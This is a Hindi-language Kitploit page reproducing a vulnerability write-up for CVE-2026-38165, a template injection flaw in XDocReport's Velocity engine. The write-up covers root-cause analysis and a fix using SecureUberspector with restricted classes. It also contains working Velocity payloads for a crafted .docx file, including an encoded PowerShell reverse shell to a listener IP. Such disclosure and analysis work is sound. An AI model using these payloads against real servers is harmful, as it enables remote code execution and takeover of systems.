Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165 (SSTI) | Kitploit
उपकरण/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165 (SSTI)

रिपॉजिटरी देखें
1362 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-38165 (SSTI Velocity)

XDocReport में सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) Apache Velocity इंजन के माध्यम से रिमोट कोड निष्पादन की अनुमति देता है

बग की परिभाषा

भेद्यता का अवलोकन

  • सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) एक वेब सुरक्षा भेद्यता है जो हमलावरों को सामग्री प्रबंधन प्रणालियों (CMS) और वेब फ्रेमवर्क द्वारा उपयोग किए जाने वाले टेम्पलेट्स में दुर्भावनापूर्ण कोड डालने की अनुमति देती है, जिससे रिमोट हमले, संवेदनशील जानकारी प्राप्त करना या सिस्टम में घुसपैठ की गतिविधियाँ संभव होती हैं।

  • SSTI इंजेक्शन भेद्यता (जैसे SQL इंजेक्शन, XSS आदि) का एक प्रकार है, जिसमें हैकर्स रिमोट रूप से दुर्भावनापूर्ण कोड तैनात करने के लिए टेम्पलेट सिस्टम का उपयोग करते हैं। जब SSTI हमला सफलतापूर्वक किया जाता है, तो हैकर सर्वर पर अपना स्वयं का कोड निष्पादित कर सकता है, जिससे वे रिमोट हमले कर सकते हैं, जैसे संवेदनशील जानकारी एकत्र करना, सिस्टम में घुसपैठ की गतिविधियाँ करना और अनधिकृत संसाधनों तक पहुँच प्राप्त करना।

  • SSTI भेद्यता आमतौर पर असुरक्षित टेम्पलेट सिस्टम के उपयोग या इनपुट पैरामीटर को टेम्पलेट में डालने से पहले जाँच और प्रसंस्करण न करने के कारण होती है। यदि SSTI हमला सफलतापूर्वक किया जाता है, तो परिणाम गंभीर हो सकते हैं और हमलावर संगठन को बड़ा नुकसान पहुँचा सकता है।

व्यावसायिक प्रभाव

  • SSTI भेद्यता कई गंभीर परिणाम उत्पन्न कर सकती है, जिनमें शामिल हैं:

  • दुर्भावनापूर्ण कोड निष्पादन: हमलावर इस भेद्यता का उपयोग सर्वर पर दुर्भावनापूर्ण कोड निष्पादित करने के लिए कर सकता है, जिससे डेटा चोरी, सिस्टम पर अवैध कार्य करना और यहाँ तक कि सर्वर का पूर्ण नियंत्रण प्राप्त करना संभव हो जाता है।

  • संवेदनशील जानकारी का खुलासा: SSTI हमलावर को सर्वर पर फ़ाइलों को पढ़ने, बदलने या हटाने की अनुमति दे सकता है। यदि इन फ़ाइलों में खातों और पासवर्ड जैसी संवेदनशील जानकारी है, तो हमलावर आसानी से इस जानकारी को उजागर कर सकता है।

टूल डाउनलोड करें
  • धमकी या फ़िशिंग हमले: हमलावर SSTI का उपयोग वेबसाइट की सामग्री बदलकर या नकली कस्टम बटन जोड़कर उपयोगकर्ताओं पर धमकी या फ़िशिंग हमले कर सकता है। यदि उपयोगकर्ता इन बटनों पर क्लिक करते हैं, तो हमलावर उपयोगकर्ता की जानकारी चुरा सकता है या उनके कंप्यूटर पर मैलवेयर इंस्टॉल कर सकता है।

  • गंभीरता CRITICAL

    image

    विवरण और प्रभाव

    fr.opensagres.xdocreport.template.velocity

    OpenSAGRES XDocReport में DOCX टेम्पलेट्स को velocity इंजन के साथ प्रोसेस करते समय एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता पाई गई। कुछ कॉन्फ़िगरेशन के तहत, क्राफ्टेड टेम्पलेट्स रिमोट कोड निष्पादन (RCE) का कारण बन सकते हैं।

    कार्मिक प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन बिना किसी इनपुट नियंत्रण या फ़िल्टरिंग तंत्र के velocity टेम्पलेट इंजन (फ़ाइल पर) का उपयोग करके सामग्री रेंडर करता है। यह भेद्यता हमलावर को .docx फ़ाइल (टेम्पलेट) में दुर्भावनापूर्ण अभिव्यक्तियाँ डालने की अनुमति देती है, जिससे सर्वर पर रिमोट कोड निष्पादन (RCE) होता है और इसका उपयोग जानकारी चुराने या सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है।

    प्रभावित घटक

    fr.opensagres.xdocreport.template.velocity — XDocReport (संस्करण =< 2.1.0)।

    मूल कारण विश्लेषण

    https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

    image

    velocityEngine.evaluate(...) Apache Velocity में एक रीडर (या स्ट्रिंग) से टेम्पलेट का मूल्यांकन करने के लिए एक मानक/डिफ़ॉल्ट विधि है, जो एक Context का उपयोग करती है और एक Writer पर आउटपुट लिखती है। यह Template.merge(...) की तरह ही VTL (Velocity Template Language) सिंटैक्स निष्पादित करती है।

    evaluate और Template.merge के बीच वास्तविक अंतर

    • evaluate: Reader/String से पार्स करता है → जब टेम्पलेट डायनामिक/अविश्वसनीय हो तो सुविधाजनक।

    • getTemplate(...).merge(...): संसाधन लोडर द्वारा संसाधित टेम्पलेट (कैशिंग, एन्कोडिंग आदि) लोड करता है, फिर मर्ज करता है। VTL निष्पादन क्षमता के संदर्भ में, दोनों समान अभिव्यक्तियाँ निष्पादित करते हैं; अंतर मुख्य रूप से टेम्पलेट लोड करने के स्थान/मोड में है।

    पुनरुत्पादन के चरण

    1. उपयोगकर्ता .docx फ़ाइल अपलोड करता है जिसमें निम्नलिखित पेलोड होता है:

    image

    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    1. देखा गया कि सिस्टम कमांड सफलतापूर्वक निष्पादित हो सकता है।

    image

    1. निम्नलिखित पेलोड के साथ समान:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    image

    1. समान
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    image

    1. प्रभाव को RCE तक बढ़ाना
    • सुनने वाली मशीन wsl है जिसका IP पता 172.26.208.130 है

    image

    • निम्नलिखित पेलोड के साथ शोषण:
    root@kitploit:~
    #set($x="abc")
    #set($str=$x.getClass().forName("java.lang.String"))
    #set($cha=$x.getClass().forName("java.lang.Character"))
    #set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
    $r.waitFor()
    #set($out=$r.getInputStream())
    #set($result="")
    #foreach($i in [1..$out.available()])
    #set($result = $result + $str.valueOf($cha.toChars($out.read())))
    #end
    $result
    

    image

    • .docx फ़ाइल को xdocreport के माध्यम से संसाधित किया जाता है

    image

    • देखा गया कि wsl मशीन पर शेल वापस प्राप्त हुआ

    image

    समाधान

    • https://github.com/opensagres/xdocreport/pull/723

    टेम्पलेट में खतरनाक रिफ्लेक्शन एक्सेस को रोकना

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "runtime.introspector.uberspect",
        "org.apache.velocity.util.introspection.SecureUberspector"
    );
    

    Apache Velocity का SecureUberspector क्लास एक सैंडबॉक्स इंट्रोस्पेक्टर है।

    SecureUberspector ब्लॉक करेगा:

    • java.lang.Runtime
    • java.lang.ClassLoader
    • java.lang.Process

    ब्लॉक किए गए क्लासेस की सूची

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "introspector.restrict.classes",
        "java.lang.Class,
         java.lang.ClassLoader,
         java.lang.Process,
         java.lang.Runtime,
         java.lang.System,
         java.lang.Thread"
    );
    

    रिफ्लेक्शन पैकेज को ब्लॉक करना

    root@kitploit:~
    velocityEngineProperties.setProperty(
        "introspector.restrict.packages",
        "java.lang.reflect"
    );
    

    ब्लॉक:

    • java.lang.reflect.Method
    • java.lang.reflect.Field

    डीबग वातावरण सेटअप

    • Main.java फ़ाइल में:
    root@kitploit:~
    package org.example;
    
    import fr.opensagres.xdocreport.document.IXDocReport;
    import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
    import fr.opensagres.xdocreport.template.IContext;
    import fr.opensagres.xdocreport.template.TemplateEngineKind;
    
    import java.io.*;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.InputStream;
    import java.io.OutputStream;
    
    public class Main {
    
        public static void main(String[] args) {
            try {
                // वेलोसिटी अभिव्यक्तियों वाली इनपुट फ़ाइल पढ़ें
                File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // इनपुट फ़ाइल
                InputStream input = new FileInputStream(docxTemplate);
    
    //             Velocity का उपयोग करके टेम्पलेट लोड करें
                IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
    
    
    
                // संदर्भ बनाएं - यदि केवल स्वतंत्र अभिव्यक्तियों का परीक्षण कर रहे हैं तो खाली छोड़ा जा सकता है
                IContext context = report.createContext();
    
                // नई फ़ाइल में आउटपुट
                OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
                report.process(context, out);
    
                System.out.println("✅ result.docx फ़ाइल सफलतापूर्वक बनाई गई।");
            } catch (Exception e) {
                System.err.println("❌ फ़ाइल प्रसंस्करण में त्रुटि:");
                e.printStackTrace();
            }
        }
    }
    
    • आवश्यक आयात पुस्तकालय:
    root@kitploit:~
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    डीबग विश्लेषण स्रोत सिंक

    • report.process(context, out) — यह वह बिंदु है जहाँ टेम्पलेट रेंडर/फ़ाइल में लिखा जाता है

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image

    image image

    image

    image

    दस्तावेज़

    • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link